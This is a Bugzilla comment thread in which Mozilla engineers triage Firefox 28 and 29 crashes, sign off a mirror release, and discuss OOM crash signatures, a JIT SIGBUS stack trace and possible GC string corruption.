(In reply to Anthony Hughes, QA Mentor (:ashughes) from comment #81)
> Thanks Robert, so it looks like this is "safe" for me to okay pushing
> Firefox 28 to mirrors. That's not to say we shouldn't continue to
> investigate this but that investigation can continue in parallel. Is that
> right?

I spoke to Matt Wobensmith about this and in his opinion it's safe to go to mirrors for Firefox 28 so I'm going to give the okay. If you think that's the wrong decision please speak up.
Flags: needinfo?(kairo)
(In reply to Anthony Hughes, QA Mentor (:ashughes) from comment #82)
> I spoke to Matt Wobensmith about this and in his opinion it's safe to go to
> mirrors for Firefox 28 so I'm going to give the okay. If you think that's
> the wrong decision please speak up.

Sending the sign-off now. Thanks everyone for helping me understand this bug.
(In reply to Ben Hearsum [:bhearsum] from comment #69)
> (In reply to Benjamin Smedberg  [:bsmedberg] from comment #68)=
> > Can I also say it's a little weird that
> > http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2014-03-17-03-02-02-
> > mozilla-central/ doesn't have the crashreporter symbols for those builds.
> 
> It looks like these only go to the tinderbox builds dir:
> http://ftp.mozilla.org/pub/mozilla.org/firefox/tinderbox-builds/mozilla-
> central-linux/1395050522
> 
> (In addition to the symbol server, of course.)

This is probably bug 973901..
(In reply to Ioana Budnar, QA [:ioana] from comment #84)
> The ESR crash:
> https://crash-stats.mozilla.com/report/index/83408bb4-0914-422d-bbea-
> 47d5f2140317

This is also [@ CrashAtUnhandlableOOM ].

Comment 88

5 years ago
All I can still reproduce on Firefox 29 are more libxul crashes:
https://crash-stats.mozilla.com/report/index/74182e75-fa4c-4e28-bcd3-768052140327
https://crash-stats.mozilla.com/report/index/05bd0e17-8f3f-4e8f-b83a-50f8f2140327
https://crash-stats.mozilla.com/report/index/9b2eb1ef-f84f-4ec3-af38-be8132140327

Ted, can you please take a look and let me know if these are intended too?
Status: RESOLVED → VERIFIED
Flags: needinfo?(ted)
Keywords: verifyme
Sorry, was travelling or something when this came around and I didn't get back to it.

(In reply to Ioana Budnar, QA [:ioana] from comment #88)
> All I can still reproduce on Firefox 29 are more libxul crashes:
> https://crash-stats.mozilla.com/report/index/74182e75-fa4c-4e28-bcd3-
> 768052140327

[@ CrashAtUnhandlableOOM ]

> https://crash-stats.mozilla.com/report/index/05bd0e17-8f3f-4e8f-b83a-
> 50f8f2140327

This one is different:
Crash reason:  SIGBUS
Crash address: 0xbff00fec

Thread 0 (crashed)
 0  libxul.so!js::jit::GetPropertyIC::tryAttachNative(JSContext*, js::jit::IonScript*, JS::Handle<JSObject*>, JS::Handle<js::PropertyName*>, void*, bool*) [IonCaches.cpp:fceb90d30601 : 1202 + 0x0]
    eip = 0xb516de03   esp = 0xbff00ff0   ebp = 0x9f93d820   ebx = 0xb6cf5e28
    esi = 0x8f86b490   edi = 0xbff01684   eax = 0x8f86b400   ecx = 0xbff01030
    edx = 0x9f93d820   efl = 0x00210286
    Found by: given as instruction pointer in context



> https://crash-stats.mozilla.com/report/index/9b2eb1ef-f84f-4ec3-af38-
> be8132140327

This is [@ CrashAtUnhandlableOOM ].
Flags: needinfo?(ted)
Group: core-security
(In reply to Daniel Veditz [:dveditz] from comment #37)
> One of the crashes I get is bp-3ac2b710-65a6-4675-bbb2-decce2140313 in
> ScanRope, which led me to bug 668583 with a patch marked checkin+ but still
> open. Related? Helpful? Just random what parts of GC get corrupted?

I haven't thought about it too deeply, but the random corruption is very likely -- if you happen to stomp on any string, there's a decent chance that the next access would misinterpret it as a rope. (And it might not have started out as a string at all, but that sort of corruption seems less likely.) And from there, its left and right pointers would be very likely to contain garbage, which would show up as the ScanRope crash.
Flags: needinfo?(sphink)
You need to log in before you can comment on or make changes to this bug.